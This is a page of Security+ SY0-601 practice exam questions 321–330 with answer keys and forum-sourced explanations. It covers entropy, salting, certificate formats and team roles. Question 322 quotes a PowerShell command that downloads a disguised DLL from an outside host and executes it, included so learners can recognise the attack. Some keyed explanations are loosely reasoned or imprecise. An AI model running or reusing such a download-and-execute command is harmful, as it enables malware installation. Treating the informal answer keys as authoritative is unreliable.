SY0-601 practice questions 321–330

1. Question 321 · 856 in bank

   Which of the following will increase cryptographic security?

   • AHigh data entropy
   • BAlgorithms that require less computing power
   • CLonger key longevity
   • DHashing

   Show answer

   Answer: A

   Explanation

   Entropy is a measure of disorder. A plaintext will usually exhibit low entropy as it represents a message in a human language or programming language or data structure. The plaintext must be ordered for it to be intelligible to a person, computer processor, or database. One of the requirements of a strong cryptographic algorithm is to produce a disordered ciphertext. Put another way, the ciphertext must exhibit a high level of entropy. If any elements of order from the plaintext persist, it will make the ciphertext vulnerable to cryptanalysis, and the algorithm can be shown to be weak.

   Source: Adapted from community discussion — stoneface

   Next question

2. Question 322 · 856 in bank

   An employee received an email with an unusual file attachment named Updates.lnk. A security analyst is reverse engineering what the file does and finds that it executes the following script: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -URI https://somehost.com/04EB18.jpg -OutFile $env:TEMP\autoupdate.dll;Start-Process rundl132.exe $env:TEMP\autoupdate.dll Which of the following BEST describes what the analyst found?

   • AA PowerShell code is performing a DLL injection.
   • BA PowerShell code is displaying a picture.
   • CA PowerShell code is configuring environmental variables.
   • DA PowerShell code is changing Windows Update settings.

   Show answer

   Answer: A

   Explanation

   A PowerShell code is performing a DLL injection. The given script executes a PowerShell command that downloads a file from the specified URI (https://somehost.com/04EB18.jpg) and saves it as autoupdate.dll in the temporary folder ($env:TEMP). It then launches the rundl132.exe process to load and execute the downloaded DLL file. This technique is commonly used in DLL injection attacks, where malicious code is injected into a legitimate process to gain unauthorized access or perform malicious activities on a system.

   Source: Adapted from community discussion — ApplebeesWaiter1122

   Next question

3. Question 323 · 856 in bank

   A security engineer obtained the following output from a threat intelligence source that recently performed an attack on the company’s server:

   

   Which of the following BEST describes this kind of attack?

   • ADirectory traversal
   • BSQL injection
   • CAPI
   • DRequest forgery

   Show answer

   Answer: A

   Explanation

   The best description of this kind of attack is A. Directory traversal. Directory traversal is an attack technique used to gain access to restricted directories or files on a computer system by manipulating directory traversal characters such as '..%2F'.

   Source: Adapted from community discussion — ramesh2022

   Next question

4. Question 324 · 856 in bank

   An organization’s Chief Information Security Officer is creating a position that will be responsible for implementing technical controls to protect data, including ensuring backups are properly maintained. Which of the following roles would MOST likely include these responsibilities?

   • AData protection officer
   • BData owner
   • CBackup administrator
   • DData custodian
   • EInternal auditor

   Show answer

   Answer: D

   Explanation

   A data custodian ensures: Access to the data is authorized and controlled Data stewards are identified for each data set Technical processes sustain data integrity Processes exist for data quality issue resolution in partnership with data stewards Technical controls safeguard data Data added to data sets are consistent with the common data model Versions of master data are maintained along with the history of changes Change management practices are applied in maintenance of the database Data content and changes can be audited

   Source: Adapted from community discussion — MaryKey

   Next question

5. Question 325 · 856 in bank

   Which of the following BEST describes the team that acts as a referee during a penetration-testing exercise?

   • AWhite team
   • BPurple team
   • CGreen team
   • DBlue team
   • ERed team

   Show answer

   Answer: A

   Explanation

   Red-team A red-team is typically defined as the attackers in a penetration test or security assessment exercise. Blue-team A blue-team is typically defined as the defenders in a penetration test or security assessment exercise. White-team A white-team is typically defined as the referees in a penetration test or security assessment exercise. They establish the RoE, other guidelines, and boundaries of the security evalu- ation. They oversee the event and ensure that both sides of the simulated conflict/breach/ intrusion are operating by the rules. They also facilitate communication between the blue- team and red-team. Purple-team A purple-team is a single team that performs both the offensive and defensive penetration test or security assessment operations for an organization.

   Source: Adapted from community discussion — NeoSam999

   Next question

6. Question 326 · 856 in bank

   Which of the following would MOST likely be identified by a credentialed scan but would be missed by an uncredentialed scan?

   • AVulnerabilities with a CVSS score greater than 6.9.
   • BCritical infrastructure vulnerabilities on non-IP protocols.
   • CCVEs related to non-Microsoft systems such as printers and switches.
   • DMissing patches for third-party software on Windows workstations and servers.

   Show answer

   Answer: D

   Explanation

   An uncredentialed scan is performed without privileged access to the target system, meaning it does not have credentials (such as usernames and passwords) to log in to the target systems. Therefore, it can only detect vulnerabilities and missing patches based on information available externally, such as network services and banners.

   Source: Adapted from community discussion — ApplebeesWaiter1122

   Next question

7. Question 327 · 856 in bank

   A security administrator is seeking a solution to prevent unauthorized access to the internal network. Which of the following security solutions should the administrator choose?

   • AMAC filtering
   • BAnti-malware
   • CTranslation gateway
   • DVPN

   Show answer

   Answer: A

   Explanation

   the question is asking how to PREVENT access to an internal network, not what is a secure way to access it. To PREVENT access you MAC filter, to securely access it you need VPN!!! answer is A!!!

   Source: Adapted from community discussion — david124

   Next question

8. Question 328 · 856 in bank

   A host was infected with malware. During the incident response, Joe, a user, reported that he did not receive any emails with links, but he had been browsing the internet all day. Which of the following would MOST likely show where the malware originated?

   • AThe DNS logs
   • BThe web server logs
   • CThe SIP traffic logs
   • DThe SNMP logs

   Show answer

   Answer: A

   Explanation

   DNS logs could also be useful in determining the origin of malware in some cases. DNS logs can provide information about the domain names that the infected host attempted to resolve or communicate with. By analyzing the DNS logs, the incident response team can identify any suspicious or malicious domain names that the infected host may have interacted with.

   Source: Adapted from community discussion — ApplebeesWaiter1122

   Next question

9. Question 329 · 856 in bank

   A third party asked a user to share a public key for secure communication. Which of the following file formats should the user choose to share the key?

   • A.pfx
   • B.csr
   • C.pvk
   • D.cer

   Show answer

   Answer: D

   Explanation

   CER files: CER file is used to store X.509 certificate. Normally used for SSL certification to verify and identify web servers security. The file contains information about certificate owner and public key. A CER file can be in binary (ASN.1 DER) or encoded with Base-64 with header and footer included (PEM), Windows will recognize either of these layout. PVK files: Stands for Private Key. Windows uses PVK files to store private keys for code signing in various Microsoft products. PVK is proprietary format. PFX files Personal Exchange Format, is a PKCS12 file. This contains a variety of cryptographic information, such as certificates, root authority certificates, certificate chains and private keys. It’s cryptographically protected with passwords to keep private keys private and preserve the integrity of the root certificates. The PFX file is also used in various Microsoft products, such as IIS.

   Source: Adapted from community discussion — NeoSam999

   Next question

10. Question 330 · 856 in bank

    A security administrator is working on a solution to protect passwords stored in a database against rainbow table attacks. Which of the following should the administrator consider?

    • AHashing
    • BSalting
    • CLightweight cryptography
    • DSteganography

    Show answer

    Answer: B

    Explanation

    Salting is a technique used in password hashing where a random value (salt) is generated and appended to each password before hashing. The salt is unique for each user, so even if two users have the same password, their hashed passwords will be different due to the unique salts. This makes it extremely difficult for attackers to precompute rainbow tables or use precomputed tables effectively since they would need to generate and store tables for every possible combination of salt and password.

    Source: Adapted from community discussion — ApplebeesWaiter1122

    Next question

Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page

SY0-601 practice, question 321. 856 questions available.